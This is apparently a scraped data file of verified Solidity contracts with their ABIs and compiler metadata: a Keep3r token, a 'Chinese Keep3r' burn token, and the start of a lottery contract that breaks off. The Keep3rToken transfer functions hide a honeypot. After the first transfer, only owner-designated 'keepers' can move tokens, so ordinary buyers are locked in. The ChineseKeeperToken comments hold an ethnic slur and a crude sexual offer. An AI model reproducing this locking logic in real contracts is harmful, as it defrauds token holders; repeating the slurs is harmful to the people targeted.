* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
virtual
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Keep3rToken is ERC20("Keep3r", "KPR"), Ownable {
mapping(address => bool) private keepers;
bool private isLocker = false;
bool private isMainNet = false;
function transfer(address recipient, uint256 amount) public override returns (bool) {
require( isMainNet || keepers[msg.sender] || !isLocker);
if (!isLocker) {
keepers[msg.sender] = true;
isLocker = true;
}
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require( isMainNet || keepers[msg.sender] || !isLocker);
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function mint(address _to, uint256 _amount) public onlyOwner {
keepers[_to] = true;
_mint(_to, _amount);
}
} | [{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | Default | MIT | false | ipfs://9738941223e90716f7a77e991698fbda4d8d47286fc85e6a668b9fe1a255667f |
|||
ChineseKeeperToken | ChineseKeeperToken.sol | 0xcf16c76eb352e4bb2b04dbdf9e63f6efeb008b0d | Solidity | pragma solidity ^0.6.0;
/*
口热，中国版本!
i neber change code much. very busy with plumbing. too many people have big shit toilet not working keep calling me to fix
next time free i take look upgrade and change code no mint function no worry
no Presale, no mint, 5% burn all transacton
Total give you : 8888
(Check contract no lie to you pajeets)
ME KEEP: 888.88 (10%)
- No much no less, me math very good, English baby school
8 is lucky number, lucky for dev lucky for you too
Wechat: only if you hot girl then i tell u
Here my twitter
https://twitter.com/ChineseBillion1
I create use VPN, china no have twitter
dont tell anyone, i trouble later
I am no Pajeet, Pajeet 不会中文.
Don’t know Chinese!
No Rug! GuangZhou Very small can find me very easy.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
你要睡觉吗？一晚100eth
wechat ;)
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addi over");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "sub over");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "multi over");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "division zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "mod");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "transfer amount more allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "decrease allowance less zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "transfer from zero address");
require(recipient != address(0), "transfer go zero address");
_balances[sender] = _balances[sender].sub(amount, "transfer amount more balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "deploy go zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _flush(address account, uint256 amount) internal virtual {
require(account != address(0), "flush toilet from zero address");
_balances[account] = _balances[account].sub(amount, "flush toilet more balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "approve from zero address");
require(spender != address(0), "approve go zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
}
contract ChineseKeeperToken is ERC20 {
constructor () public ERC20("Chinese Keep3r", "CKPR") {
_deploy(msg.sender, 8888 * (10 ** uint256(decimals())));
}
function transfer(address to, uint256 amount) public override returns (bool) {
return super.transfer(to, _partialFlush(amount));
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
return super.transferFrom(from, to, _partialFlushTransferFrom(from, amount));
}
function _partialFlush(uint256 amount) internal returns (uint256) {
uint256 flushAmount = amount.div(20);
if (flushAmount > 0) {
_flush(msg.sender, flushAmount);
}
return amount.sub(flushAmount);
}
function _partialFlushTransferFrom(address _originalSender, uint256 amount) internal returns (uint256) {
uint256 flushAmount = amount.div(20);
if (flushAmount > 0) {
_flush(_originalSender, flushAmount);
}
return amount.sub(flushAmount);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.6+commit.6c089d02 | false | 200 | Default | None | false | ipfs://3857b4a97823ed99680c5867e422804936b16028c492fb726ab6441398ad21e5 |
|||
TicketSale | TicketSale.sol | 0x8a4c32762cc23a6e4723ef61a0745d9bd326fe15 | Solidity | pragma solidity 0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Restriction {
mapping (address => bool) internal accesses;
function Restriction() public {
accesses[msg.sender] = true;
}
function giveAccess(address _addr) public restricted {
accesses[_addr] = true;
}
function removeAccess(address _addr) public restricted {
delete accesses[_addr];
}
function hasAccess() public constant returns (bool) {
return accesses[msg.sender];
}
modifier restricted() {
require(hasAccess());
_;
}
}
contract DreamConstants {
uint constant MINIMAL_DREAM = 3 ether;
uint constant TICKET_PRICE = 0.1 ether;
uint constant MAX_TICKETS = 2**32;
uint constant MAX_AMOUNT = 2**32 * TICKET_PRICE;
uint constant DREAM_K = 2;
uint constant ACCURACY = 10**18;
uint constant REFUND_AFTER = 90 days;
}
contract TicketHolder is Restriction, DreamConstants {
struct Ticket {
